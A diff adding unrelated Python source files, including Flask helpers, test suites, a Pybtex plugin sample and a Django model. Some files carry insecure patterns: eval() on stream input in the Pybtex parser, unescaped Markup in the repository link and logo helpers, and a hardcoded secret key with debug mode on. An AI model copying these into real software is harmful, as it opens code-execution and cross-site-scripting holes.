+    bat2 = 1 
+    if (serve==False) & (toServe == 1) :
+       serve=True # put ball in service
+       print"serve 2"
+       hitPoint1 = hitPoint2 = -1
+    else :   # trying to hit the ball
+       if hitPoint2 == -1 : # only record the first hit
+         if(insertPlace != NUM_PIXELS) : 
+            hitPoint2 = insertPlace
+
+def place(point):
+  global hitPoint1,hitPoint2
+  wipe()
+  for i in range(0, slugLength) : # put the slug in the buffer
+    if (i+ point) >= 0 & ((i+ point) < NUM_PIXELS) :
+       pixels.setPixelColor(i+ point,Color(red[slugCol],green[slugCol],blue[slugCol]))
+  # set the end LEDs acording to the hit none - no hit ** blue - too soon ** green - good hit
+  if(hitPoint1 != -1):
+       if(hitPoint1 > slugLength) :
+         pixels.setPixelColor(0, Color(0,0,128)) 
+       else :
+         pixels.setPixelColor(0, Color(0,128,0))
+
+  if hitPoint2 != -1 :
+       if hitPoint2 < ( NUM_PIXELS- 1 - slugLength) : # bat too soon
+          pixels.setPixelColor(NUM_PIXELS -1, Color(0,0,128)) 
+       else :
+          pixels.setPixelColor(NUM_PIXELS -1, Color(0,128,0))
+  pixels.show()
+ 
+def setupStart(): # set display waiting to serve 
+  wipe()
+  if toServe == 0:
+     pixels.setPixelColor(0, Color(128,128,128))
+  else :
+     pixels.setPixelColor(NUM_PIXELS-1, Color(128,128,128)) 
+  pixels.show()
+
+def wipe():
+    for i in range(0,pixels.numPixels()):
+       pixels.setPixelColor(i, Color(0,0,0)) 
+
+# Main program logic follows:
+if __name__ == '__main__':
+    main()
diff --git a/pool/shard000/Python/0008447_repositories_helper.py b/pool/shard000/Python/0008447_repositories_helper.py
new file mode 100644
index 0000000000000000000000000000000000000000..0014a69a8535a090cc1589617cc0c0b16af3eb0e
--- /dev/null
+++ b/pool/shard000/Python/0008447_repositories_helper.py
@@ -0,0 +1,74 @@
+from app import app
+from app.models.repository import Repository
+from app.services import repositories_service as repos_service
+from werkzeug.contrib.cache import SimpleCache
+from flask import abort, render_template, Markup
+from functools import wraps
+
+cache = SimpleCache()
+
+URL_PREFIX = '/<string:username>/<string:name>'
+TEMPLATE_PREFIX = 'repositories/'
+
+class RepositoryContext:
+    def __init__(self, url_map, repo):
+        self.repo = repo
+        self.params = {}
+        for url in url_map:
+            i = url.find(URL_PREFIX)
+            if i != 0:
+                continue
+            name = 'url_for_repo%s' % url[len(URL_PREFIX):].replace('/', '_')
+            url = url.replace('<string:username>', repo.owner.username)
+            url = url.replace('<string:name>', repo.name)
+            self.params[name] = url
+        self.params['repo'] = repo
+
+    def render(self, path, **options):
+        kwargs = dict(self.params, **options)
+        return render_template(TEMPLATE_PREFIX + path, **kwargs)
+
+class RepositoriesHelper:
+    def __init__(self, app):
+        self.app = app
+        self.url_map = {}
+    
+    def route(self, rule, **options):
+        app = self.app
+        url_map = self.url_map
+        url_map[URL_PREFIX + rule] = True
+
+        def decorator(func):
+            @app.route(URL_PREFIX + rule, **options)
+            @wraps(func)
+            def wrapper(username, name, *args, **kw):
+                repo = repos_service.get(username, name)
+                if repo is None:
+                    return abort(404)
+                ctx = RepositoryContext(url_map, repo)
+                return func(ctx, *args, **kw)
+            return wrapper
+        return decorator
+
+@app.template_global()
+def get_repos_count():
+    count = cache.get('repos_count')
+    if count is not None:
+        return count
+    count = Repository.query.count()
+    cache.set('repos_count', count, 600)
+    return count
+
+@app.template_global()
+def repo_link_tag(repo):
+    return Markup('<a href="%s" class="repo-link">%s/%s</a>' % (
+        repo.html_url, repo.owner.username, repo.name
+    ))
+
+@app.template_global()
+def repo_logo_tag(repo):
+    url = repo.logo_url
+    if not url:
+        url = repo.owner.avatar_url
+    return  Markup('<img class="repo-logo" title="%s" alt="%s" src="%s">' %
+                   (repo.name, repo.name, url))
diff --git a/pool/shard000/Python/0008449_Channel.py b/pool/shard000/Python/0008449_Channel.py
new file mode 100644
index 0000000000000000000000000000000000000000..a82832b48d666b39b0bfc52ef408eba8e47366b8
--- /dev/null
+++ b/pool/shard000/Python/0008449_Channel.py
@@ -0,0 +1,65 @@
+import asynchat
+import sys, traceback
+import re
+
+# regular expression for extracting Pd style messages
+element_re = re.compile("((.*?)[^\\\]);[\r\n\ ]{0,1}", re.MULTILINE | re.DOTALL)
+
+class Channel(asynchat.async_chat):
+	endchars = '\n'
+	def __init__(self, conn=None, addr=(), server=None):
+		asynchat.async_chat.__init__(self, conn)
+		self.addr = addr
+		self._server = server
+		self._ibuffer = ""
+		self.set_terminator(self.endchars)
+		self.sendqueue = []
+	
+	def collect_incoming_data(self, data):
+		self._ibuffer += data
+	
+	def found_terminator(self):
+		# split up into pd messages, ignoring the last message (whitespace or carriage return)
+		for found in element_re.finditer(self._ibuffer):
+			# trim off the semicolon and split up the data by space
+			data = found.group(1).split(" ")
+			if hasattr(self, "Incoming"):
+				self.Incoming(data)
+			else:
+				print "Dropped data", data
+		self._ibuffer = ""
+	
+	def Pump(self):
+		[asynchat.async_chat.push(self, d) for d in self.sendqueue]
+		self.sendqueue = []
+	
+	def Send(self, data):
+		self.sendqueue.append(" ".join(data) + ";\n")
+	
+	def Disconnect(self):
+		self.close()
+	
+	def handle_connect(self):
+		if hasattr(self, "Connected"):
+			self.Connected()
+		else:
+			print "Unhandled Connected() at", self.addr
+	
+	def handle_error(self):
+		try:
+			self.close()
+		except:
+			pass
+		if hasattr(self, "Error"):
+			self.Error(sys.exc_info()[1])
+		else:
+			asynchat.async_chat.handle_error(self)
+	
+	def handle_expt(self):
+		pass
+	
+	def handle_close(self):
+		if hasattr(self, "Close"):
+			self.Close()
+		asynchat.async_chat.handle_close(self)
+
diff --git a/pool/shard000/Python/0008459_skeletoninit.py b/pool/shard000/Python/0008459_skeletoninit.py
new file mode 100644
index 0000000000000000000000000000000000000000..4fdcf033a3dcc53731a9740a470228f667595473
--- /dev/null
+++ b/pool/shard000/Python/0008459_skeletoninit.py
@@ -0,0 +1,33 @@
+# This test should cover https://bugzilla.yoctoproject.org/tr_show_case.cgi?case_id=284
+# testcase. Image under test must have meta-skeleton layer in bblayers and
+# IMAGE_INSTALL_append = " service" in local.conf
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.oeid import OETestID
+from oeqa.core.decorator.data import skipIfDataVar
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class SkeletonBasicTest(OERuntimeTestCase):
+
+    @OETestDepends(['ssh.SSHTest.test_ssh'])
+    @OEHasPackage(['service'])
+    @skipIfDataVar('VIRTUAL-RUNTIME_init_manager', 'systemd',
+                   'Not appropiate for systemd image')
+    def test_skeleton_availability(self):
+        status, output = self.target.run('ls /etc/init.d/skeleton')
+        msg = 'skeleton init script not found. Output:\n%s' % output
+        self.assertEqual(status, 0, msg=msg)
+
+        status, output =  self.target.run('ls /usr/sbin/skeleton-test')
+        msg = 'skeleton-test not found. Output:\n%s' % output
+        self.assertEqual(status, 0, msg=msg)
+
+    @OETestID(284)
+    @OETestDepends(['skeletoninit.SkeletonBasicTest.test_skeleton_availability'])
+    def test_skeleton_script(self):
+        output1 = self.target.run("/etc/init.d/skeleton start")[1]
+        cmd = '%s | grep [s]keleton-test' % self.tc.target_cmds['ps']
+        status, output2 = self.target.run(cmd)
+        msg = ('Skeleton script could not be started:'
+               '\n%s\n%s' % (output1, output2))
+        self.assertEqual(status, 0, msg=msg)
diff --git a/pool/shard000/Python/0008464_test_httpd.py b/pool/shard000/Python/0008464_test_httpd.py
new file mode 100644
index 0000000000000000000000000000000000000000..d71db6e33402763723be00f8f1c6fb0180f28d26
--- /dev/null
+++ b/pool/shard000/Python/0008464_test_httpd.py
@@ -0,0 +1,161 @@
+import json
+import os
+import tempfile
+
+import pytest
+from cif import httpd
+from cif.store import Store
+from zmq.eventloop import ioloop
+
+from cifsdk.constants import PYVERSION
+
+ROUTER_ADDR = 'ipc://{}'.format(tempfile.NamedTemporaryFile().name)
+router_loop = ioloop.IOLoop.instance()
+
+@pytest.fixture
+def client(request):
+    httpd.app.config['TESTING'] = True
+    httpd.app.config['CIF_ROUTER_ADDR'] = ROUTER_ADDR
+    httpd.app.config['dummy'] = True
+    return httpd.app.test_client()
+
+
+@pytest.fixture
+def store():
+    dbfile = tempfile.mktemp()
+    with Store(store_type='sqlite', dbfile=dbfile) as s:
+        yield s
+
+    os.unlink(dbfile)
+
+
+def test_httpd_help(client):
+    rv = client.get('/')
+    assert rv.status_code == 200
+
+    rv = client.get('/help')
+    assert rv.status_code == 200
+
+
+def test_httpd_ping(client):
+    rv = client.get('/ping')
+    assert rv.status_code == 401
+
+    rv = client.get('/ping', headers={'Authorization': 'Token token=1234'})
+    assert rv.status_code == 200
+
+
+def test_httpd_confidence(client):
+    rv = client.get('/help/confidence')
+    assert rv.status_code == 200
+
+    rv = client.get('/help/confidence', headers={'Authorization': 'Token token=1234'})
+    assert rv.status_code == 200
+
+
+def test_httpd_search(client):
+    rv = client.get('/search?q=example.com', headers={'Authorization': 'Token token=1234'})
+    assert rv.status_code == 200
+
+    data = rv.data
+    if PYVERSION > 2:
+        data = data.decode('utf-8')
+
+    rv = json.loads(data)
+    assert rv['data'][0]['indicator'] == 'example.com'
+
+
+def test_httpd_indicators(client):
+    rv = client.get('/indicators?q=example.com', headers={'Authorization': 'Token token=1234'})
+    assert rv.status_code == 200
+
+    data = rv.data
+    if PYVERSION > 2:
+        data = data.decode('utf-8')
+
+    rv = json.loads(data)
+    assert rv['data'][0]['indicator'] == 'example.com'
+
+
+def test_httpd_feed(client):
+    import arrow
+    httpd.app.config['feed'] = {}
+    httpd.app.config['feed']['data'] = [
+        {
+            'indicator': '128.205.1.1',
+            'confidence': '8',
+            'tags': ['malware'],
+            'reporttime': str(arrow.utcnow()),
+        },
+        {
+            'indicator': '128.205.2.1',
+            'confidence': '8',
+            'tags': ['malware'],
+            'reporttime': str(arrow.utcnow()),
+        },
+    ]
+    httpd.app.config['feed']['wl'] = [
+        {
+            'indicator': '128.205.0.0/16',
+            'confidence': '8',
+            'tags': ['whitelist'],
+            'reporttime': str(arrow.utcnow()),
+        },
+    ]
+
+    rv = client.get('/feed?itype=ipv4&confidence=7', headers={'Authorization': 'Token token=1234'})
+
+    assert rv.status_code == 200
+
+    r = json.loads(rv.data.decode('utf-8'))
+    assert len(r['data']) == 0
+
+def test_httpd_feed_fqdn(client):
+    import arrow
+    httpd.app.config['feed'] = {}
+    httpd.app.config['feed']['data'] = [
+        {
+            'indicator': 'page-test.weebly.com',
+            'confidence': '8',
+            'tags': ['malware'],
+            'reporttime': str(arrow.utcnow()),
+        },
+        {
+            'indicator': 'example.com',
+            'confidence': '8',
+            'tags': ['malware'],
+            'reporttime': str(arrow.utcnow()),
+        },
+        {
+            'indicator': 'test.google.com',
+            'confidence': '8',
+            'tags': ['malware'],
+            'reporttime': str(arrow.utcnow()),
+        },
+        {
+            'indicator': 'test.test.ex.com',
+            'confidence': '8',
+            'tags': ['malware'],
+            'reporttime': str(arrow.utcnow()),
+        },
+    ]
+    httpd.app.config['feed']['wl'] = [
+        {
+            'indicator': 'ex.com',
+            'confidence': '8',
+            'tags': ['whitelist'],
+            'reporttime': str(arrow.utcnow()),
+        },
+    ]
+
+    rv = client.get('/feed?itype=fqdn&confidence=7', headers={'Authorization': 'Token token=1234'})
+
+    assert rv.status_code == 200
+
+    r = json.loads(rv.data.decode('utf-8'))
+    assert len(r['data']) == 1
+
+
+def test_httpd_tokens(client):
+    rv = client.get('/tokens', headers={'Authorization': 'Token token=1234'})
+    assert rv.status_code == 200
\ No newline at end of file
diff --git a/pool/shard000/Python/0008466_models.py b/pool/shard000/Python/0008466_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..c900a90eb151307eaa1600277c821f1b3de7b2e3
--- /dev/null
+++ b/pool/shard000/Python/0008466_models.py
@@ -0,0 +1,115 @@
+# -*- coding: UTF-8 -*-
+# Copyright 2011-2016 Luc Saffre
+#
+# License: BSD (see file COPYING for details)
+
+"""
+The :xfile:`models.py` module for `lino_xl.lib.inbox`.
+"""
+
+
+import logging
+logger = logging.getLogger(__name__)
+
+
+from lino.api import dd, rt
+
+import mailbox
+import email.errors
+from django.core.exceptions import ObjectDoesNotExist
+
+class comment_email():
+
+    @classmethod
+    def gen_subject(cls, comment,user):
+        s = "{comment_id}:{user}"
+        f = s.format(comment_id=comment.id, user=user.username)
+        print f
+        return f
+    @classmethod
+    def parse_subject(self, subject_str):
+        try:
+            comment, user = subject_str.split(":")
+        except ValueError:
+            return None, None
+        #would like to return rows
+        try:
+            comment = rt.models.comments.Comment.objects.get(pk=comment)
+        except ObjectDoesNotExist:
+            comment = None
+        try:
+            user = rt.models.users.User.objects.get(username=user)
+        except ObjectDoesNotExist:
+            user = None
+        return comment, user
+
+    @classmethod
+    def gen_href(cls,comment,user):
+        # mailto:ADDR@HOST.com?subject=SUBJECT&body=Filling%20in%20the%20Body!%0D%0Afoo%0D%0Abar
+        href = "mailto:{addr}?subject={subject}".format(addr=dd.plugins.inbox.comment_reply_addr,
+                                                        subject=cls.gen_subject(comment,user))
+        return href
+
+    @classmethod
+    def read_comment_emails(cls, mbox):
+        """
+        reads mbox for emails and adds valid comment-reply emails into the database
+        if fails to add, adds to fail-box.
+
+        For email replys to comments only,
+
+        use the subject:
+        :param mbox:
+        :return:
+        """
+        if mbox is None:
+            return
+        m = mailbox.mbox(mbox)
+        m.lock()
+        fail = mailbox.mbox(mbox + ".failed")
+        fail.lock()
+        processed = mailbox.mbox(mbox + ".processed")
+        processed.lock()
+        try:
+            for key in m.iterkeys():
+                try:
+                    message = m[key]
+                    comment, user = cls.parse_subject(message.get("subject"))
+                    if comment is None or user is None:
+                        key = fail.add(message)
+                        fail.flush()
+                        m.discard(key)
+                        m.flush()
+                        logger.info("Failed to add comment-reply-email {subject} key:{key} added to ".format(subject=message.get("subject"), key=key) + fail._file.name)
+                        continue
+                    new_comment = rt.models.comments.Comment()
+                    new_comment.owner = comment.owner
+                    new_comment.reply_to = comment
+                    new_comment.user = user
+                    new_comment.short_text = message.get_payload()
+                    new_comment.full_clean()
+                    new_comment.save()
+                    key = processed.add(message)
+                    logger.info("New comment {} via email key: {}".format(new_comment.id,key))
+                    processed.flush()
+                    m.discard(key)
+                    m.flush()
+                except Exception as e:
+                    key = fail.add(message)
+                    fail.flush()
+                    logger.exception("Failed to add comment-reply-email {subject} key:{key} added to ".format(subject=message.get("subject"), key=key) + fail._file.name)
+                    m.discard(key)
+                    m.flush()
+        except Exception as e:
+            raise e
+        finally:
+            for b in (m, fail, processed):
+                b.flush()
+                b.unlock()
+                b.close()
+
+
+@dd.schedule_often(10)
+def check_mail_boxes():
+    comment_email.read_comment_emails(dd.plugins.inbox.mbox_path)
+
diff --git a/pool/shard000/Python/0008467_toyplugins.py b/pool/shard000/Python/0008467_toyplugins.py
new file mode 100644
index 0000000000000000000000000000000000000000..1dd1f7a29e10e855cf51c3c75c2df8a1193c0a2e
--- /dev/null
+++ b/pool/shard000/Python/0008467_toyplugins.py
@@ -0,0 +1,51 @@
+# Copyright (c) 2011, 2012  Andrey Golovizin
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+
+"""Sample Pybtex plugins."""
+
+
+import imp
+
+from pybtex.database.output import BaseWriter
+from pybtex.database.input import BaseParser
+from pybtex.database import BibliographyData
+from pybtex.database import Entry, Person
+
+
+class PythonWriter(BaseWriter):
+    """Bibliography output plugin which formats the data as Python code."""
+
+    def write_stream(self, bib_data, stream):
+        print >>stream, repr(bib_data)
+
+
+class PythonParser(BaseParser):
+    """Bibliography parser plugin which loads the data from Python code."""
+
+    def parse_stream(self, stream):
+        context = {
+            'BibliographyData': BibliographyData,
+            'Entry': Entry,
+            'Person': Person,
+        }
+        code = stream.read()
+        self.data = eval(code, context)
diff --git a/pool/shard000/Python/0008470_feed_parse_extractThewebnovelhavenWordpressCom.py b/pool/shard000/Python/0008470_feed_parse_extractThewebnovelhavenWordpressCom.py
new file mode 100644
index 0000000000000000000000000000000000000000..c96c525b5744b2ded31a84b3622b4647dd3f76ee
--- /dev/null
+++ b/pool/shard000/Python/0008470_feed_parse_extractThewebnovelhavenWordpressCom.py
@@ -0,0 +1,22 @@
+
+def extractThewebnovelhavenWordpressCom(item):
+	'''
+	Parser for 'thewebnovelhaven.wordpress.com'
+	'''
+
+	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
+	if not (chp or vol) or "preview" in item['title'].lower():
+		return None
+
+	tagmap = [
+		('PRC',       'PRC',                      'translated'),
+		('Loiterous', 'Loiterous',                'oel'),
+	]
+
+	for tagname, name, tl_type in tagmap:
+		if tagname in item['tags']:
+			return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
+
+
+	return False
+	
\ No newline at end of file
diff --git a/pool/shard000/Python/0008471_leetcode.244.shortest-word-distance-ii.py b/pool/shard000/Python/0008471_leetcode.244.shortest-word-distance-ii.py
new file mode 100644
index 0000000000000000000000000000000000000000..cd195e5a7d66d7423345ab6d08908faf6ff37729
--- /dev/null
+++ b/pool/shard000/Python/0008471_leetcode.244.shortest-word-distance-ii.py
@@ -0,0 +1,43 @@
+class WordDistance(object):
+    def __init__(self, words):
+        """
+        initialize your data structure here.
+        :type words: List[str]
+        """
+        self.d = {}
+        for i,word in enumerate(words):
+            if word not in self.d:
+                self.d[word] = [i]
+            else:
+                self.d[word].append(i)
+
+    def shortest(self, word1, word2):
+        """
+        Adds a word into the data structure.
+        :type word1: str
+        :type word2: str
+        :rtype: int
+        """
+        l1 = self.d[word1]
+        l2 = self.d[word2]
+        minDist = abs(l1[0] - l2[0])
+        i,j = 0,0
+        len1 = len(l1)
+        len2 = len(l2)
+        while i < len1 and j < len2:
+            minDist = min(minDist, abs(l1[i] - l2[j]))
+            if minDist == 1:
+                break
+            if l1[i] < l2[j]:
+                i += 1
+            else:
+                j += 1
+        return minDist
+            
+        
+
+
+# Your WordDistance object will be instantiated and called as such:
+# wordDistance = WordDistance(words)
+# wordDistance.shortest("word1", "word2")
+# wordDistance.shortest("anotherWord1", "anotherWord2")
\ No newline at end of file
diff --git a/pool/shard000/Python/0008480_app.py b/pool/shard000/Python/0008480_app.py
new file mode 100644
index 0000000000000000000000000000000000000000..6dcf9ff15f28bbb741aeadb604a92e642b188deb
--- /dev/null
+++ b/pool/shard000/Python/0008480_app.py
@@ -0,0 +1,35 @@
+from flask import Flask, render_template, request
+
+from flaskext.wtf import Form, FileField, FieldList, required
+
+class FileUploadForm(Form):
+
+    uploads = FieldList(FileField())
+
+
+DEBUG = True
+SECRET_KEY = 'secret'
+
+app = Flask(__name__)
+app.config.from_object(__name__)
+
+@app.route("/", methods=("GET", "POST",))
+def index():
+
+    form = FileUploadForm()
+    for i in xrange(5):
+        form.uploads.append_entry()
+
+    filedata = []
+
+    if form.validate_on_submit():
+        for upload in form.uploads.entries:
+            filedata.append(upload)
+
+    return render_template("index.html", 
+                           form=form, 
+                           filedata=filedata)
+
+
+if __name__ == "__main__":
+    app.run()
diff --git a/pool/shard000/Python/0008483_expression.py b/pool/shard000/Python/0008483_expression.py
new file mode 100644
index 0000000000000000000000000000000000000000..5b5c9b37b5468cdb56cada9bbfd7f03259c7b800
--- /dev/null
+++ b/pool/shard000/Python/0008483_expression.py
@@ -0,0 +1,33 @@
+class Expression(object):
+
+    sql = None
+    field = None
+    alias = None
+
+
+    def __init__(self, field, alias=None):
+        self.field = field
+        self.alias = alias
+
+
+    def validate_as_field(self, sql):
+        self.sql = sql
+        sql.validate_field_name(self.field)
+
+
+    def validate_as_filter(self, sql):
+        self.sql = sql
+        sql.validate_filter_field_name(self.field)
+
+
+    def get_data(self):
+        return []
+
+
+    def __str__(self):
+        return ''
+
+
+    @property
+    def data(self):
+        return self.get_data()
diff --git a/pool/shard000/Python/0008486_test_forms.py b/pool/shard000/Python/0008486_test_forms.py
new file mode 100644
index 0000000000000000000000000000000000000000..2139d9046b7198fa08a44d4ca3fea8efd583c967
--- /dev/null
+++ b/pool/shard000/Python/0008486_test_forms.py
@@ -0,0 +1,61 @@
+# -*- coding: utf-8 -*-
+import pytest
+
+from rymate_blog.public.forms import LoginForm
+from rymate_blog.user.forms import RegisterForm
+from .factories import UserFactory
+
+class TestRegisterForm:
+
+    def test_validate_user_already_registered(self, user):
+        # Enters username that is already registered
+        form = RegisterForm(username=user.username, email='foo@bar.com',
+            password='example', confirm='example')
+
+        assert form.validate() is False
+        assert 'Username already registered' in form.username.errors
+
+    def test_validate_email_already_registered(self, user):
+        # enters email that is already registered
+        form = RegisterForm(username='unique', email=user.email,
+            password='example', confirm='example')
+
+        assert form.validate() is False
+        assert 'Email already registered' in form.email.errors
+
+    def test_validate_success(self, db):
+        form = RegisterForm(username='newusername', email='new@test.test',
+            password='example', confirm='example')
+        assert form.validate() is True
+
+
+class TestLoginForm:
+
+    def test_validate_success(self, user):
+        user.set_password('example')
+        user.save()
+        form = LoginForm(username=user.username, password='example')
+        assert form.validate() is True
+        assert form.user == user
+
+    def test_validate_unknown_username(self, db):
+        form = LoginForm(username='unknown', password='example')
+        assert form.validate() is False
+        assert 'Unknown username' in form.username.errors
+        assert form.user is None
+
+    def test_validate_invalid_password(self, user):
+        user.set_password('example')
+        user.save()
+        form = LoginForm(username=user.username, password='wrongpassword')
+        assert form.validate() is False
+        assert 'Invalid password' in form.password.errors
+
+    def test_validate_inactive_user(self, user):
+        user.active = False
+        user.set_password('example')
+        user.save()
+        # Correct username and password, but user is not activated
+        form = LoginForm(username=user.username, password='example')
+        assert form.validate() is False
+        assert 'User not activated' in form.username.errors
\ No newline at end of file
diff --git a/pool/shard000/Python/0008487_digraph_dfs_topological.py b/pool/shard000/Python/0008487_digraph_dfs_topological.py
new file mode 100644
index 0000000000000000000000000000000000000000..e894899128452768fdb85bdf9a2b3a061caa2467
--- /dev/null
+++ b/pool/shard000/Python/0008487_digraph_dfs_topological.py
@@ -0,0 +1,30 @@
+#!/usr/bin/env python
+#
+# Created by Samvel Khalatyan on Mar 22, 2014
+# Copyright (c) 2014 Samvel Khalatyan. All rights reserved
+#
+# Use of this source code is governed by a license that can be found in
+# the LICENSE file.
+
+import sys
+
+from lib import digraph
+from lib import cycles
+from lib import order
+
+def usage():
+    print("usage:", sys.argv[0], "digraph.txt")
+    print()
+    print("print DFS vertex in a digraph with post-order")
+
+if "__main__" == __name__:
+    if 2 > len(sys.argv):
+        usage()
+    else:
+        graph = digraph.load(sys.argv[1])
+        cycle = cycles.Dicycle(graph)
+        if cycle.has_cycle():
+            print("only Directional Acyclic Graphs can be processed")
+        else:
+            order_ = order.DepthFirstOrder(graph)
+            print('->'.join(str(x) for x in order_.reverse_post()))
diff --git a/pool/shard000/Python/0008488_mne_clean_eog_ecg.py b/pool/shard000/Python/0008488_mne_clean_eog_ecg.py
new file mode 100644
index 0000000000000000000000000000000000000000..7f7d6c721735f26ce8dad40cbb47c96d397a8acc
--- /dev/null
+++ b/pool/shard000/Python/0008488_mne_clean_eog_ecg.py
@@ -0,0 +1,137 @@
+#!/usr/bin/env python
+"""Clean a raw file from EOG and ECG artifacts with PCA (ie SSP)
+"""
+from __future__ import print_function
+
+# Authors : Dr Engr. Sheraz Khan,  P.Eng, Ph.D.
+#           Engr. Nandita Shetty,  MS.
+#           Alexandre Gramfort, Ph.D.
+
+
+import sys
+
+import mne
+
+
+def clean_ecg_eog(in_fif_fname, out_fif_fname=None, eog=True, ecg=True,
+                  ecg_proj_fname=None, eog_proj_fname=None,
+                  ecg_event_fname=None, eog_event_fname=None, in_path='.',
+                  quiet=False):
+    """Clean ECG from raw fif file
+
+    Parameters
+    ----------
+    in_fif_fname : string
+        Raw fif File
+    eog_event_fname : string
+        name of EOG event file required.
+    eog : bool
+        Reject or not EOG artifacts.
+    ecg : bool
+        Reject or not ECG artifacts.
+    ecg_event_fname : string
+        name of ECG event file required.
+    in_path :
+        Path where all the files are.
+    """
+    if not eog and not ecg:
+        raise Exception("EOG and ECG cannot be both disabled")
+
+    # Reading fif File
+    raw_in = mne.io.Raw(in_fif_fname)
+
+    if in_fif_fname.endswith('_raw.fif') or in_fif_fname.endswith('-raw.fif'):
+        prefix = in_fif_fname[:-8]
+    else:
+        prefix = in_fif_fname[:-4]
+
+    if out_fif_fname is None:
+        out_fif_fname = prefix + '_clean_ecg_eog_raw.fif'
+    if ecg_proj_fname is None:
+        ecg_proj_fname = prefix + '_ecg-proj.fif'
+    if eog_proj_fname is None:
+        eog_proj_fname = prefix + '_eog-proj.fif'
+    if ecg_event_fname is None:
+        ecg_event_fname = prefix + '_ecg-eve.fif'
+    if eog_event_fname is None:
+        eog_event_fname = prefix + '_eog-eve.fif'
+
+    print('Implementing ECG and EOG artifact rejection on data')
+
+    kwargs = dict() if quiet else dict(stdout=None, stderr=None)
+    if ecg:
+        ecg_events, _, _ = mne.preprocessing.find_ecg_events(raw_in)
+        print("Writing ECG events in %s" % ecg_event_fname)
+        mne.write_events(ecg_event_fname, ecg_events)
+        print('Computing ECG projector')
+        command = ('mne_process_raw', '--cd', in_path, '--raw', in_fif_fname,
+                   '--events', ecg_event_fname, '--makeproj',
+                   '--projtmin', '-0.08', '--projtmax', '0.08',
+                   '--saveprojtag', '_ecg-proj', '--projnmag', '2',
+                   '--projngrad', '1', '--projevent', '999', '--highpass', '5',
+                   '--lowpass', '35', '--projmagrej', '4000',
+                   '--projgradrej', '3000')
+        mne.utils.run_subprocess(command, **kwargs)
+    if eog:
+        eog_events = mne.preprocessing.find_eog_events(raw_in)
+        print("Writing EOG events in %s" % eog_event_fname)
+        mne.write_events(eog_event_fname, eog_events)
+        print('Computing EOG projector')
+        command = ('mne_process_raw', '--cd', in_path, '--raw', in_fif_fname,
+                   '--events', eog_event_fname, '--makeproj',
+                   '--projtmin', '-0.15', '--projtmax', '0.15',
+                   '--saveprojtag', '_eog-proj', '--projnmag', '2',
+                   '--projngrad', '2', '--projevent', '998', '--lowpass', '35',
+                   '--projmagrej', '4000', '--projgradrej', '3000')
+        mne.utils.run_subprocess(command, **kwargs)
+
+    if out_fif_fname is not None:
+        # Applying the ECG EOG projector
+        print('Applying ECG EOG projector')
+        command = ('mne_process_raw', '--cd', in_path, '--raw', in_fif_fname,
+                   '--proj', in_fif_fname, '--projoff', '--save',
+                   out_fif_fname, '--filteroff',
+                   '--proj', ecg_proj_fname, '--proj', eog_proj_fname)
+        mne.utils.run_subprocess(command, **kwargs)
+        print('Done removing artifacts.')
+        print("Cleaned raw data saved in: %s" % out_fif_fname)
+        print('IMPORTANT : Please eye-ball the data !!')
+    else:
+        print('Projection not applied to raw data.')
+
+
+def run():
+    from mne.commands.utils import get_optparser
+
+    parser = get_optparser(__file__)
+
+    parser.add_option("-i", "--in", dest="raw_in",
+                      help="Input raw FIF file", metavar="FILE")
+    parser.add_option("-o", "--out", dest="raw_out",
+                      help="Output raw FIF file", metavar="FILE",
+                      default=None)
+    parser.add_option("-e", "--no-eog", dest="eog", action="store_false",
+                      help="Remove EOG", default=True)
+    parser.add_option("-c", "--no-ecg", dest="ecg", action="store_false",
+                      help="Remove ECG", default=True)
+    parser.add_option("-q", "--quiet", dest="quiet", action="store_true",
+                      help="Suppress mne_process_raw output", default=False)
+
+    options, args = parser.parse_args()
+
+    if options.raw_in is None:
+        parser.print_help()
+        sys.exit(1)
+
+    raw_in = options.raw_in
+    raw_out = options.raw_out
+    eog = options.eog
+    ecg = options.ecg
+    quiet = options.quiet
+
+    clean_ecg_eog(raw_in, raw_out, eog=eog, ecg=ecg, quiet=quiet)
+
+
+is_main = (__name__ == '__main__')
+if is_main:
+    run()
diff --git a/pool/shard000/Python/0008492_models.py b/pool/shard000/Python/0008492_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..4655ee19c2e37dbfc9b696acf3632e6cf4845c28
--- /dev/null
+++ b/pool/shard000/Python/0008492_models.py
@@ -0,0 +1,91 @@
+# -*- coding: utf-8 -*-
+from django.db import models
+from django.utils import timezone
+
+
+class Ciudad(models.Model):
+	REGIONES = (
+		('I','Tarapaca'),
+		('II','Antofagasta'),
+		('III','Atacama'),
+		('IV','Coquimbo'),
+		('V','Valparaiso'),
+		('VI',"O Higgins"),
+		('VII','Maule'),
+		('VIII','Bio-Bio'),
+		('IX','La Araucania'),
+		('X','Los Lagos'),
+		('XI','Aysen'),
+		('XII','Magallanes'),
+		('RM','Metropolitana'),
+		('XIV','Los Rios'),
+		('XV','Arica y parinacota'),
+	)
+	nombre = models.CharField(max_length=100)
+	habitantes = models.IntegerField()
+	region = models.CharField(max_length=10, choices=REGIONES)
+	clima = models.CharField(max_length=100)
+	url = models.CharField(max_length=100,default="")
+	imagen = models.ImageField(null=True,blank=True)
+	descripcion = models.CharField(max_length=600,default="")
